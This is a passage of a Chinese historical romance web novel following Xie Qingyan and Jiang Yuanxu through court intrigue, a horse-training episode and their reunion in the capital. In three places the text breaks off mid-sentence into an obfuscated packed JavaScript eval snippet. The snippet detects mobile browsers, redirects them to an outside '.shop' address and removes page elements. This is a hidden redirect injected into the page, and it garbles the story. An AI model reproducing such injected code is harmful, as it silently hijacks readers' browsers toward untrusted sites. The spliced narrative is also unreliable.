安王从二楼的议事室出来,恰好看到由银行伙计引路而来的谢青衍。 “谢侍郎也是来约见主事的?” “看来王爷也是。”谢青衍拱手见礼,看了看一旁的伙计,又道,“王爷见谅,管事还在等着,恕下官不能奉陪。” 安王摆手,笑道:“私下不必拘礼,谢侍郎请便。” 安王下楼,一群公子围过来,安王扫了他们一眼,简单道:“银钱最低一百万两,三年不能支取。” “一百万!?”众人惊呼,面面相觑,他们拿出十万两都难。 其中一个人建议:“要不我们多找几个人,一起凑一凑?” 安王嗤笑一声,轻蔑道:“要在今越银行连续三年存银超过一百万两的,才能接到邀约。手里有人家看中的产业,银钱倒是可以少一些。” “你们有产业吗?” 众人摇头,他们都是家中庶子,生母身份不高,手里只有几个田庄和铺子,今越的管事都看不上,更别说主事了。 安王看向其中一人,玩味地说:“谢流光,你大哥刚刚上去了。” 众人的视线瞬间凝到一人身上,谢流光脸涨的通红,讪笑道:“大哥和我,自是不同的。” 安王凉凉地睨他一眼,冷声道:“你倒是有自知之明。” 说完也不管众人如何,径自走向马车。 他原以为同是谢家人,谢流光多少能得到谢家的助力,从这次事情看,谢阁老的权力怕是要越过谢玉韬,直接交给谢青衍了。 好在谢家还没站队,谢青衍这回又和太子交了恶,还有拉拢的机会。 众人散去,谢流光盯着盘旋而上楼梯,袖下的双手攥得死紧。 从出生起,他和谢青衍就隔着这样一个楼梯,谢青衍被人恭恭敬敬请上楼,他却连靠近楼梯的资格都没有。 家里分明可以用这次的事,给他谋一份好差事,他千方百计说服父亲,结果,谢家倾全族之力给谢青衍砸下侍郎之位,一分荣光不曾分给旁人。 二十岁的刑部侍郎啊,比谢青衍小几个月的他,却连一份正经差事都没有,何等的不公! 谢青衍到家的时候,谢维正和戚见山叙话。 “青衍啊,这样高了。”戚见山感慨时间太快,小少年已长成大男人,“听老师说你刚升了侍郎,真是年轻有为。” 谢青衍自谦,戚见山又逮着他问了许多近况,才和谢维接上刚才的话茬。 “当时天色不好,我想着在庙里借住一晚,哪成想就碰上国师了。” “乌泱泱的一群村民围着,柴都架好了,说要烧死国师,好在我带的护卫多,及时制住村民,又请来知县断案,不然……哎,后果不堪设想啊!” 戚见山也是在知县断案时才知晓事情的原委。 两年前,国师云游至一处破庙住下来,时常给附近的村民看病,慢慢的,破庙也有了些香火。 有一次,一位病重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211528|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的村民来找国师看病,临走时想着参拜一下佛祖,不成想,脑袋磕下去,再也没有起来。 国师内疚自己的粗心,好生将人收敛,亲自为其超度,出殡下葬全部亲历亲为,还给其家人留下一些银钱。 本以为此事已了,没想到,之后来破庙的病重之人越来越多,拖着病躯给佛祖磕头,不死不罢休。 破庙被人搬空了,残破的佛像被村民们瓜分,连条门帘都不曾留下,死去之人的家属们仍不依不饶地问国师要抚恤银子。 然后就是戚见山亲见的那一幕,没要到银子的村民群情激愤,准备烧死国师。 国师武功高强,制住几十个瘦弱的村民绝对不成问题,只是当时他心存死志,自觉是自己害死了那些病重之人,无心反抗。 谢维和谢青衍听的眉头紧皱,好好的一桩善事,竟落得如此下场,实在令人唏嘘。 困住国师的必然不是见利忘义的村民,而是那些为了几个银钱,甘愿赴死的病重之人。 他们下跪参拜之心一定十分虔诚,不求病愈,只求死在佛前,而他们,如愿了。 “我一路跟着国师,就怕有个意外,好在我们途中遇到一位姑娘,让国师解了心结。” 戚见山兴致勃勃地跟人卖关子:“那位姑娘可真是位奇人,她的马有名有姓的,而且全身火红,不似凡间之物。” “赤兔?!”谢青衍惊呼,急忙问,“世伯,那位姑娘有何特征?” “对对对,可不就是赤兔!”戚见山拍腿恍然道,“蒙着面纱,倒是不曾看见脸,不过眼角处有块明显的疤。” 就是姜元序! “世伯,您在何处碰到她的?发生了何事?怎么还帮国师解心结了?” 谢青衍完全不复刚才沉稳的模样,一脸急切,语速都快了许多。 戚见山说了个地名,也从谢青衍的反应里看出了不对,问:“青衍认识这位姑娘?” 谢青衍简单说了下江州的事,又催着问后续。 戚见山悠悠地呷一口茶,偷偷和上座的谢维交换一个了然的眼神,缓缓说起那日的情形。 “国师纯善,姑娘伶俐,唯独老夫,卑劣又愚蠢。”戚见山皱着鼻子自嘲道。 谢维笑着摇摇头,问谢青衍:“她是误打误撞,还是三言两语便看出了国师的心结?” “应当是看出来了。”谢青衍说,“就像审讯,姜姑娘每一次提问,其实都挺有针对性的,国师又是真心作答,从中分析出国师的心结并不难,所以她最后会说‘善良无错’。” “真是个聪明的孩子。”谢维又好奇地问,“那匹赤兔呢,真有红色的马?” “当然是真的!”戚见山抚掌,抢着回答,“老师你是没看到,那马灵性的很,跟个小孩一样,好像能听懂那位姑娘的话。” “就是不知道为何,那位姑娘一直说它凶。” 谢青衍掩唇笑了几声,才道:“是真的凶,是匹野马,韩老将军送来的,她生辰那天,我和韩大人试着驯过,都被摔下来了。” “只有她驯成了,赤兔只认她,旁人骑不了。” 戚见山揶揄道:“也该认她的,给马取名都和她姓,跟孩子也没区别,孩子还能不认娘吗。” “她养了许多猫和狗,个个都是有名字的,也都和她姓。” 谢青衍笑着和他们说茶馆的事,在江州的日子很短,但和姜元序在一起的每一个瞬间都是生动有趣的。 戚见山也听的入神,“还说自己是恶人,分明是善良到没边了。” 谢青衍深感同意,姜元序手段凌厉,但心地纯善,她要对付周家,就只对付周家,不损旁人一丝一毫。 谢维听他们一唱一和的,对姜元序越发好奇,他实在无法把江州粮食商会的主事,和这位人见人爱的姑娘合为一体,或许只有见到本人才能解释这种违和。 翌日午膳时间,谢维挤到李凡玉对面,用姜元序提的那个问题问他。 李凡玉头也不抬,闲闲道:“联合一百人,弄死你这个恶人。” 谢维直接被堵死,不死心又问道:“如果你是一百人中的一个呢?” 李凡玉啧了一声,嫌弃道:“同样有一百人,和刚才有什么区别。你是越活越回去了,拿哄孙子的题来问我?” 谢维面色青一阵白一阵的,哼了一声,负气端着饭食走了。 32. 好久不见 时间来到十月,谢青衍没心情胡思乱想了,脑子里只剩下:今天她来了吗?明天她应该到了吧?还有几天她才能来?她怎么还没来! 他整个人急躁起来,熬了几天,忍不住去寻十安问情况。 十安刚从外边回来,实话说:“姑娘传了信,说有事耽搁了,约莫要晚十天。” 谢青衍肉眼可见的担心,“是不是遇上棘手的事了,会不会有危险?有什么我能帮忙的吗?” “不是生意上的事,姑娘久不出门,在外边多玩了几天,谢大人不必担心。” 谢青衍看十安轻松的神情不似作伪,瞬间委顿下去,还得多等十天。 姜元序原本只打算在军营呆半个月,但韩其起了爱才之心,抓着她做特训,硬生生往后延了十几天。 军中战士想看看赤兔的作战能力,姜元序骑着赤兔冲锋,对面是五十骑兵,这时候赤兔的聪明反而成了缺点,因为它贪生怕死又没有纪律性。 眼见姜元序不敌,它二话不说回头,横冲直撞撞出一个空,撒丫子驮着姜元序逃命,留下五十个骑兵面面相觑。 追是追不上的,这怎么不算赢了呢? 韩其看的好气又好笑,又派出一百骑兵把姜元序团团围住,赤兔无论如何也逃不掉,总算开始配合姜元序的命令。 这时候姜元序的弱点清晰展现,她近战的功夫经过韩其的指导,已经能轻松撂倒韩家兄弟,但几十斤的铠甲往上一套,她的战力直接被压制一半。 韩其开始教她如何突围,姜元序擅长分析局势,赤兔逃命的本事一流,配合好了,除非大军压阵,碰上小队的人马,保命绝对没问题。 围困的骑兵从十人,到二十五人,再到五十人,姜元序挥舞银枪的手臂越来越稳,赤兔的纪律性越来越强,两个聪明脑瓜配合默契,如一头长满尖刺的羚羊,杀出重围,扬长而去。 姜元序走的那天,韩其骑马送她去城外,他本是寡言之人,面对离别,话倒是多了起来。 “有什么要帮忙的,别不好意思开口,我虽驻守边关,在朝中也有几分人脉。” 姜元序想到前几日,韩其说起和李首辅谢阁老的关系,以及和韩家交好的几家,忍不住笑出声。 “知道,你是团宠嘛,谁要是欺负我,我就拿着你的名帖去找京中各位大人哭,你这人脉关系,皇子公主都不敢惹我。” 她是真没想到,韩其这沉默寡言的性子,能得那么多人的爱护。不过也对,韩其第一次领兵时才十三岁,能力卓绝,璞玉浑金,是该招人喜欢的。 韩其已经不像第一次听到“团宠”时那般面红耳热,但还是有些羞恼地啧了一声。 他压下想辩驳一番的冲动,继续道:“谢家那小子要是对你不好,别憋着,该揍就揍,你不好动手就让老二去。” 姜元序的笑容僵了一瞬,马上恢复如初,语气不急不缓的,“我就是借住一下他的宅子,寻个庇护,什么好不好的。” 这回轮到韩其笑了,刚才的羞恼不翼而飞,面露得色:“我也年轻过,你们那点小九九我还能看不出来?” “你是个重情的,轻易不会欠人情债,若不是对他有点想法,绝不可能答应去住。”韩其的语气十分肯定。 “看不出来啊,心思那么细腻。”姜元序有些惊讶,坦然道,“是有点想法,他脾气实在好,我就吃温柔小意这一套。” 她对于爱情的启蒙,来自上辈子的父母,她爸爸见了妈妈两次,便义无反顾把公司迁回国内,婚后二十多年,虽时常分隔两地,仍恩爱如初。 所以谢青衍想调到江州的举动,歪打正着,触动了她心里最脆弱的点。 “你这脾性,确实该找个脾气好的。”韩其了然地点点头。 “以前我也见过那孩子,站在他祖父身边,跟个玉团子似的,谢维亲自教的,品性应当是不差的。” “不过,男人的品性在男女之事上并不相通,有些男人在外高风亮节,在家却要妻儿委曲求全。你是女儿家,在男女之事上总会吃亏些。” 姜元序不觉得自己会吃亏,除了刚穿来的那几年,有点抑郁自闭的症状,在李景星母女手里吃过亏,其余时间是一点气没受过的。 “他要是不好,倒是省事,踹了即可,就怕他一直这么好,我反而不知道该拿他怎么办。” 她上辈子活了二十五年,没等到一段缘分,如今缘分来了,她确实有些措手不及,不知道该如何应对。 韩其转头瞥了她一眼,心想果然还是小孩子,再聪明也会为情所困,这么简单的事情竟看不透了。 他直白地说:“他要是真一直这么好,不管你要如何,他都会顺着你,若是他不顺着你了,就是他不好,踹了便是。” 姜元序微愣,随即朗声笑道:“是这个道理,过来人是不一样啊,一针见血。” 想那么多做什么,把压力全部给到对方,她只管享受。 韩其又叮嘱了许多,姜元序这个身份,京城里要从亲事上打主意的人不会少,皇城里头的强权和下流龌龊的手段,防不胜防。 行至城门口,姜元序勒马停住,笑说:“你年纪也大了,早点回京城,含饴弄孙多好啊。” 韩其挥挥手,状似不耐烦地说:“赶紧走吧,你要给我气出病来,我怕是回不了京城了。” “注意点身体,有时间我再来看你。” 目送姜元序策马远去,韩其回营写了一沓厚厚的信。 谢维拿到这封异常厚实的信时,心头一凉,手都抖了,费力地撕开信封,他闭上眼深呼吸,做足心理准备才敢睁开眼。 然后面色一僵,不可置信地把信纸凑近油灯,逐字逐句地看过去,连看了两张纸之后,速度越来越快,他盯着信件末尾韩其两个字,头一次嫌弃地撇开了头。 还当是出了意外,交代遗言来了,结果絮絮叨叨一通,全是让他照看姜元序。 第二日下朝,谢维和李凡玉互看了一眼,心领神会地走到一处,其余大臣非常有眼色地给他们让开一条道。 谢维:“你也收到韩其的信了?厚厚的一沓?” 李凡玉:“嗯,这姜元序就是江州的那位?” 谢维:“哼,显而易见。” 李凡玉不解:“照江州那位行事的周密程度,就算年轻气盛些,能惹出什么大乱子?” 谢维叹气:“韩其也是年纪大了,生出慈父心了,岁月不饶人啊。” 李凡玉斜睨他一眼:“他亲儿子到京城,也不见他说一个字。” 谢维仰天叹道:“我倒要看看是何方神圣,怎么见过的人,各个鬼迷了心窍一般。” 李凡玉也忍不住望天,韩其几十年的信加起来都没这次的多,说话写信向来是直截了当的,这回却是一个事来来回回地说,跟鬼上身了似的。 …… 马车还没停稳,谢青衍已经跃下车,跑向谢府隔壁的宅子,等侍从通报的间隙,他努力平稳呼吸,又不放心地问云慎有何不妥之处。 云慎给他整了整衣袍,夸道:“相当威武!” 谢青衍舒一口气,双手紧张地握着拳,想着一会儿该说些什么。 十安快步走来,看谢青衍强装镇定,笑道:“姑娘睡下了,谢大人不如明日再来。” 谢青衍上前一步,急道:“怎么这时候睡下了,身体不适吗?请大夫了吗?” “只是舟车劳顿,睡一觉就好。”十安解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211529|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“只是今晚应当不会醒,按以往的经验,得睡到明日中午。” 谢青衍略放下心,他从祖父那知道姜元序去了西北,那边风沙漫天,不似江州气候适宜,加之骑马赶路,确实辛苦。 正如十安所料,直到第二日午时,姜元序才悠悠转醒,抱着绫罗软枕感慨,还是家里好啊。 十安一直守在外间,听到动静,进屋拉起床幔,轻声道:“姑娘醒了就赶紧起来吃饭,睡了一天,该饿坏了。” 姜元序力气还没恢复,全身软绵绵的,慢吞吞地下床,喝了水又继续趴在桌上,转着眼睛打量屋子的装饰。 看到一整面珠玉相间的帘子,啧啧赞叹:“谢家可真有钱啊。” 十安顺着她的视线望去,眉梢露出些戏谑,“谢大人遣人新做的,外头还有一面,全京城的珍珠都被他搜罗空了。” 姜元序不由失笑。 她是挺喜欢珍珠的,这年头的宝石切割工艺不成熟,很少有很规整的,镶嵌工艺也比较粗糙,不像后世那般精致对称,她看着别扭,珍珠倒是能挑出些品相好的。 吃完饭,十安带着姜元序逛宅院,行至侧边紧闭的小门处,同她解释道:“开了这道门,能直接进谢府。” “这座宅子原是准备给谢大人成亲后住的,谢大人的父亲有不少庶出的子女,王夫人不想让他们打扰谢大人,就建了这座宅子。” “谢府那边,谢阁老命人锁了这一处,其余人想进这里,都得经过谢大人的院子。” 姜元序抱着手臂,哼道:“胆子够大的,敢诓我。他们家里也不管管他,怎么都陪着他胡闹。” 她爹要是看到这道门,估计得跳起来。 十安知道她不是真生气,继续说:“王夫人是个极和善的人,来送了好几次东西,说你要是介意,可以把墙砌上。” “谢老爷和谢大人关系不好,听说因为谢大人升官这事,还闹了一场。” 谢府目前是泾渭分明的两个阵营,谢阁老、王夫人、谢青衍三人掌大权,谢老爷和其余庶出子女抱团取暖,私底下的冲突是常有的,就是不好闹到明面上。 姜元序摇头冷嗤:“二十年了还没看清形势,活该沦为弃子。” 谢玉韬是个蠢的,娶了王家的女儿还不知足,通房生的庶子只比嫡子小几个月,一般人家都干不出这事。 王老大人可不是个好脾气的,谢玉韬公然打王家的脸,自然要付出代价。 谢青衍这回升官是升的快了点,但这是迟早的事,他是谢王两家联姻唯一的孩子,谢阁老把谢玉韬按在从五品的位置上二十多年,为的就是给谢青衍铺路。 即使没有这次的事,不出五年,他也能坐到这个位置。 姜元序逛完宅院,便去书房处理公务,今越的管事已经把约期的册子送来,她得先根据产业分布做一个粗浅方案,再逐个约见详谈。 谢青衍走至书房门口时,还是忍不住疾行几步,姜元序听到急促的脚步声,放下手里的册子抬头。 “好久不见啊,谢大人,还有云慎,云齐没一起过来吗?” 谢青衍的脸上不自觉绽开一个笑,柔声道:“我刚下值,云慎去接我,云齐在府里没过来。” 云慎抱拳行礼:“姜姑娘。”可算来了,公子等的头发都快白了。 姜元序让两人坐下,盯着谢青衍的脸反复看。 谢青衍察觉到她的视线,抬手碰了碰自己的脸,有些不自在道:“我脸上是有何不妥吗?” “哎——”姜元序长叹一声,依旧盯着他的脸,“我这一路都是灰扑扑的,乍然看到一个干干净净的清俊公子,眼睛舒服多了。” 干干净净的谢青衍瞬间面红耳赤。 33. 财大气粗 姜元序嘴角扬起,笑得眉眼弯弯,目不转睛地盯着谢青衍,谢青衍招架不住这样的眼神,脸红了又红,心中的欣喜一层层冒出来。 他张了张嘴,清朗的笑声抢先溢出,略带几分雀跃地说:“那你多看看我。” 谢青衍的笑向来是内敛的,心里纵然有十分的快意,流在面上的,也仅剩三分,姜元序不过随口撩一句,倒是没想到他会笑得如此开怀。 “看来谢大人也知道自己长得很好看。”姜元序含笑调侃。 谢青衍凝视着她,眸光潋滟,情愫暗涌:“你更好看。” 如九天曜日,蓬勃灿烂。 姜元序没有戴面具,说起来这是谢青衍第二次完整地看到她的脸。上一次是夜间,外加自己心绪波动,看似冷静,实则恍惚,事后回想起来,只记得她很好看。 今日天色未暗,书房亮堂堂的,他和姜元序面对面,不施粉黛的面容一览无余。 若说姜元序的眉眼是骄阳,那下半张脸便是皎月,奈何骄阳过于夺目,把温柔的月色全盖了过去。 一旁的云慎连呼吸都放的很轻,生怕搅了这情意绵绵的一幕,还得是姜姑娘,一句话就让公子眉开眼笑,积攒的消沉一扫而光。 两人四目相对,仿佛情意流转,实则场面僵持,两个情窦初开的人,互撩了一下,根本不知道之后该如何继续。 姜元序率先移开视线,谢青衍定下神,转而说起其他事。 “你途中是不是遇到了一位僧人,那是国师,另外一人是我祖父的学生戚见山,如今任了顺天府府尹。” “还真是国师啊?”姜元序诧异。 “你猜到了?” 姜元序当时并没有想太多,只是觉得奇怪便去跟人搭话,但看到那位大师的眼睛,马上意识到这人不简单。 “那位大师一看就是个得道高僧,旁边那位老爷瞧着是个当官的,一个当官的亲自给一位衣衫褴褛的僧人打伞,那人要么是他执意出家的爹,要么地位尊崇。” “那位老爷对大师尊敬,却不亲近,所以可以排除第一种情况。而地位高于官员的僧人,大概只有国师了。” 谢青衍倒也不意外,姜元序向来缜密,擅长从细微之处勘破全局。 “所以国师遭遇了何事,你也推断出来了?” 姜元序也只是猜测:“你和我说过,国师擅医,喜欢云游给百姓看病,大师一副被辜负的模样,应该是遭遇医患矛盾了。” “你不去大理寺断案,真是屈才了。” 谢青衍把前因后果说给她听。 姜元序摇头叹道:“底层百姓虽穷苦,但大多是良善之辈,只能说国师运气不济,不过遇此一事,想来国师对佛法的感悟会更深。” 谢青衍知她心善,不想让这些无关紧要的事惹她烦心,赶紧转了话题。 “韩老将军前两日给我祖父传了信,托他照看你,后日便是旬休,你愿意见见他吗?” “嗯?”姜元序果然被转移了注意力,惊讶道,“韩叔还写了信?” 谢青衍想到那封絮絮叨叨的信,不觉失笑:“信写了厚厚一沓,祖父说韩老将军几十年和他说的话,都没有这封信多。” 谢阁老心不甘情不愿地把信拿给谢青衍,一副真心错付的模样,谢青衍边看边听他的抱怨,说什么物不如故,人不如新,只闻新人笑,不闻旧人哭,真老小孩了。 “这老大叔,还挺操心的。”姜元序心中感动。 临行前,韩其把自己的人脉关系都交代给她,连名帖都给了,还不忘亲自写信。 她从书桌上拿起一封帖子,说:“你母亲已经给我下了帖子,就是定的后日。” “我母亲?”谢青衍意外,这也太快了,“她用的什么理由?” “今日递了份礼过去,她便给我下了帖子,邀我后日去谢府赏花。”姜元序说,“以我和王家的关系,到了京城,去拜访你母亲也是应该的。” 谢青衍险些忘了这一层,有母亲下帖确实是最稳妥的做法。 “母亲心急想见你,她听说千掌柜的主家是你,激动地睡不着觉,天天要我讲你的事,我说了些江州的情况,她还想着要去江州看一看。” 他当初遣人把姜元序的信送去指定的宅子,没两日千掌柜便托岚心给他递了信,他们方才知道京中鼎鼎有名的千掌柜,竟是姜元序的人。 “千掌柜跟你提过吗,她和我母亲还有岚心,时常结伴嬉游,岚心便是云慎的妻子。” 云慎闻言,立即起身朝姜元序郑重一礼,“多谢姜姑娘,千掌柜帮助内子良多,我先前不知晓你们的关系,在江州时失礼了。” 姜元序连忙摆手,“既是千程帮的,你谢她就行了,我又没做什么。” 云慎振振有词:“若不是姜姑娘安排千掌柜来京城,也就不会有之后的事,谢你也是应该的。” 他之前因着公子的关系,对姜姑娘敬重有加,如今知晓这层关系,姜姑娘便是他的恩人,若不是千掌柜,他和岚心恐怕成不了。 又朝姜元序一礼,才退至一旁。 姜元序跟他们解释:“千程跟我提过几句,不过,东兴大街那边都是千程在处理,我是不管的。” 谢青衍疑惑:“你这次来京城,不是来打理东兴大街的产业?” 姜元序对他这种猜测相当无语:“我放下粮食商会,难不成是为了几个铺子吗?” 谢青衍被她财大气粗的语气一堵,那是几个铺子吗?东兴大街三成的铺子都是千掌柜的! 他迟疑地问:“那是……?” “今越投资。”姜元序直截了当地说,“我看到你的预约了,可以给你插个队。” 谢青衍被那四个字惊到,难以置信地瞪大双眼,能看到他的预约,还能让他插队的,只能是主事,而不是普通管事。 他深吸一口气,有些语无伦次道:“不是……今越投资?你……投资云州的主事是你?” “四年前,你才十四啊……你那时在京城吗,苏大人如何说服你的?” 姜元序理解他的震惊,普通十几岁孩子确实很难做到,但她不是多活了二十多年吗。 说起来投资才是她的老本行,今越投资集团就是她上一辈子的家族企业,如今是从守业变成创业,算是复刻她老祖宗来时的路。 她靠进圈椅,朝谢青衍神秘一笑:“事实上,是我先看中了岭南,然后才安排的苏望去云州。” 真是好大一盘棋!谢青衍有些脱力地揉了揉眉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还记得呢!” 姜元序双手一放,撇开头嗤嗤笑,真是服了,这么点事记到现在。 谢青衍严肃地点点头,势必要问出一个答案,忘是不可能忘的,这辈子都不会忘的。 姜元序轻咳几声止住笑,老实说:“按目前的存银来看,他比你多点。” 谢青衍瞬间泄气。 姜元序话锋一转:“不过,按我们内部的评估标准来看,你的财务状况是比他好的。” 谢青衍一口气提上来:“怎么说?” 姜元序摆出公式化商业态度,逐条给他分析:“一来,安王每年有大额的进出记录,而你只进不出。” “二来,你的产业分布比较合理,前景也更好,安王的产业太杂太乱。” “三来么,安王毕竟是个王爷,说不定哪天就没了,你的身份就比较安全了,谢家和王家同时倒的概率,还是比较小的。” 谢青衍听到最后一条,瞬间什么气都没了,嘴角勾起,夸道:“不愧是今越的主事,评估的相当精准!” 姜元序露出一个商业假笑:您满意就好。 34. 演苦情戏 谢青衍让云慎回去和家里说一声,他留在姜元序这里吃饭,席上只有两人,谢青衍自觉接过布菜的活,一边和姜元序说京城的近况,一边还不忘给太子上眼药。 “太子特意找了我一趟,告诫我适可而止,显得他多无辜似的,分明是他没理搅三分。” 姜元序对太子的行事作风也有一些了解,评价道:“跟周家人一个德性。” “可不是!要不是有宁远郡的事,还不知道要不依不饶多久。” 谢青衍舀一碗汤放在姜元序手边,绘声绘色地描述朝臣众志成城参宁远郡官员的盛况,每个人都斗志昂扬的,紫禁城的天都亮了几分。 太子又找了他一次,这次态度就好多了,还拿姜元序和周家的生意说事,要他退一步。 “太子一定后悔没有一开始就听你的建议,你找上方七的时候就料到这个局面了吧?” 姜元序当然不会说是临时起意,要不是安宁要去周家军,她根本不会插手这次的事。 她慢悠悠地喝一口汤,高深莫测地嗯了一声:是的,没错,我就是这样,运筹帷幄,决胜千里之外。 谢青衍果然被唬住,他站在第一层,看到第三层,而姜元序早已布局到第九层,怎能不叫人心服口服。 姜元序面前的碗碟没有空过,谢青衍比专门布菜的侍从还有眼色,姜元序视线一动,他便放下自己的筷子给她夹菜,以致于姜元序都吃一半了,他还没动几筷子。 姜元序拿起公筷往他碟子里夹几块排骨,“别忙活了,自己吃。” 谢青衍夹菜的筷子顿住,姜元序面不改色的,好像只是顺手为之,排骨还没吃到嘴里,谢青衍心中已经泛起了甜,这些时日的不安,因这几块排骨散去不少。 姜元序吃的差不多,便主动和他说起这一路的趣事,时不时给他添些菜。 “一百多个骑兵围着,九昭光顾着逃命,根本不听我指挥,包围圈越缩越小,韩叔挥着棍子就要打我。” “九昭瞅准机会张口咬他的马,又接连踹了好几脚,韩叔老马失蹄,险些摔下马。” “也不知道谁想的损招,驯马不打马,光打我,铺天盖地的棍子全落在我身上。” “我那几天梦里都是棍子敲在盔甲上的梆梆声。” 姜元序的语气带着不忿,谢青衍放下碗,掩唇哧哧笑个不停,姜元序吃瘪的情况可不多,他倒不担心姜元序会受伤,韩老将军那么疼她,下手肯定有分寸。 迎着姜元序不善的目光,他整整神色问:“那后来驯好了吗?” “算驯好吧,九昭是只识时务的马,知道自己拼不过,就开始听指挥了。不过回程路上,又有点放飞自我的苗头了。” 姜元序叹气,她见过不少名贵的马,但也是头一次见姜九昭这样聪明又不服管的马,军营半个多月魔鬼训练的结果,也不知道能撑多久。 谢青衍捧起碗,一口饭没进嘴,想到什么,又把碗放下。 “宅子后边那块空地,整一整倒是能做个马场,谢府有马场,不过比较小,跟你家那个没法比,真想跑马,还是得去郊外的庄子。” 皇城周边的地实在紧张,鲜少有人能在家里建马场,谢府的马场只够他偶尔练练骑射,不像吴家,既有驯马场又有跑马场,甚至还有专门练骑射和障碍跑的场地。 “先让姜九昭过几日骄奢淫逸的宅家生活,我之后再看看要怎么安排它。” 姜元序给他夹了一筷子牛肉,说:“多吃点,你是回来种地太辛苦了吗,怎么看着憔悴不少?” 谢青衍一来她就发现了,照理说刚升了侍郎,正是春风得意的时候,近日朝中又无大事,怎么人瘦了不少不说,眉宇间还添了几分愁绪,倒像个忧郁贵公子了。 谢青衍先是一怔,紧接着鼻子涌上一股酸意,他慌乱地垂下眼睛,顾不得礼仪,夹起那筷子牛肉塞进嘴里,胡乱嚼几下便往下吞,压下喉间的痒意。 他不想说这些时日的煎熬,硬扯出一个笑,故作轻松道:“正好入秋,能种的东西多,越冬的小麦和蔬菜也要提前种下,每天都要忙到天黑,我又刚上任,许多事情不熟悉,确实累了些。” 姜元序自然没错过他的异样,不是因为公事,那就是因为她了,可她也没做什么啊,只是晚到几天,需要委屈成这样吗? 姜元序又给他夹了不少菜,催他赶紧吃,也不戳穿他的借口,“小麦要越冬,人也要多贴点膘,才好过冬。” 谢青衍被逗笑,应声好便开始专心吃饭,姜元序又起了新的话题,谢青衍不时应上几句,说到有趣之处,两人相视而笑。 这样的场景,姜元序习以为常,她上辈子的父母,这辈子的吴善民和姜彩兰,都是这样的,白天各忙各的,回家一起说说笑笑。 而谢青衍却从未经历过,他出生时祖母已经亡故,父亲终日流连妾室的屋子,对他向来不假辞色,他能想到最好的夫妻相处方式,便是相敬如宾。 他遇到姜元序,姜元序的一举一动都牵动他的喜怒哀乐,他不免生出更多的奢望,想要夫妻恩爱,想要琴瑟和鸣,想要相濡以沫。 此情此景,他无从想象,没有浓情蜜意,没有轰轰烈烈,没有历尽千帆,只是简简单单的一餐饭,却最是动人。 饭后,谢青衍稍坐片刻便起身告辞,十安和百凌捧着三个大小不一的盒子过来。 姜元序指着最小的那个盒子说:“这是我生辰的回礼,是金子,当时不好给你。” 又指着另一个大盒子:“这些是我一路上买的小玩意,碰上几个边境商人,买了一些别国的香料,吃的用的都有,你可以拿去给府里的人分一分。” 她转而和云齐云慎说:“你们俩也挑一些。” 云齐和云慎没想到还有他们的份,连忙和她道谢。 “你……”谢青衍一时间百感交集,“费心了。” 姜元序的生辰过去两个多月,竟还不忘给他回礼,那些四处买的东西,其中的心意比金银更贵重,甚至连他身边的人都考虑到了。 这就感动了?姜元序好笑地点点那个最长的盒子,示意谢青衍自己打开。 谢青衍有些疑惑,松开搭扣,抬起盒盖,眼睛瞬间睁大,惊呼出声:“这!……” 云慎好奇地探过头,惊到跳脚,“豁!” 黑金色的宝剑置于其中,剑柄通体金黄,虎头剑格,两颗红宝石眼珠栩栩如生,剑鞘由黑色的皮革和金色的浮雕相间而成,精美、华丽,又暗藏锋芒。 “漂亮吧!”姜元序神色得意,对谢青衍说,“送你的,恭喜你升官。” 谢青衍转头难以置信道:“送我?!” 姜元序笑着点点头。 谢青衍从惊叹中醒神,连忙推拒:“没有宁远郡的事,我也不可能升到侍郎,应是我谢你,怎么能收你如此贵重的礼。” 姜元序没有应他的话,反而道:“才看个剑鞘呢,拿出来看看剑身。” 谢青衍看了一眼盒子里的剑, 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“多一个人,多一份力量。”谢青衍重振旗鼓,“我打不过,至少能当个屏障帮你挡几刀。” “咒我还是咒你自己呢,也没个忌讳,我一遵纪守法的良民,哪里需要人挡刀。”姜元序没好气道。 谢青衍珍惜地抚了抚剑,轻手轻脚地放回去,自己抱起剑盒,云齐和云慎见状上前拿走另外两个盒子。 姜元序送他们出门,边走边和谢青衍说:“家世和运气也是实力的一部分,你能当上侍郎,是谢家和你自己的积累,不必妄自菲薄。” “机会飘到手边,烫到满手血泡也得去抓,抓住了才能驯服它,无论结果如何,敢伸手就是勇气可嘉。” 十指用力扣住盒身,谢青衍拼命克制住想哭的冲动,每当他觉得姜元序已经足够好,事实就会告诉他,姜元序还能更好,他所见的,不过万分之一。 夜色恰好掩住谢青衍通红的眼眶,他释然一笑,轻声道:“我知道了。” 云齐和云慎闻言偷偷对视一眼,心下舒出一口气,公子升官太快,难免遭人非议,他不在乎旁人的看法,只在乎姜姑娘会不会看不起他。 所以他们百般劝导都没用,道理公子都懂,只是自己转不过弯,这话只有姜姑娘说才有用。 姜元序送他们到院门口便止步,瞧着精神恢复如初的谢青衍,她冷不丁道:“往侧门走吧,多近啊。” 